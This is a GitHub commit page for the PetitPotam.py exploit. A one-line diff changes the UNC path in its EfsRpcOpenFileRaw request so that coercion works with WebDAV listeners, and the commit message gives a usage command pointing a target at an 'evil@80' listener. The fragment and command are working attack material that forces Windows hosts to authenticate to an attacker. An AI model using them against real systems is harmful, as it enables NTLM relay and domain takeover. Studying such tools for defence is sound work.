Skip to content

Commit

Permalink
Change c$ to test so that webdav calls also work
Browse files Browse the repository at this point in the history
```bash
python Petitpotam.py evil@80/coucou 10.10.10.1
```
  • Loading branch information
Hackndo authored Jul 25, 2021
1 parent 609411d commit 6cb067b
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Petitpotam.py
Original file line number Diff line number Diff line change
Expand Up @@ -131,7 +131,7 @@ def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\c$\\Settings.ini\x00' % listener
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
Expand Down

0 comments on commit 6cb067b

Please sign in to comment.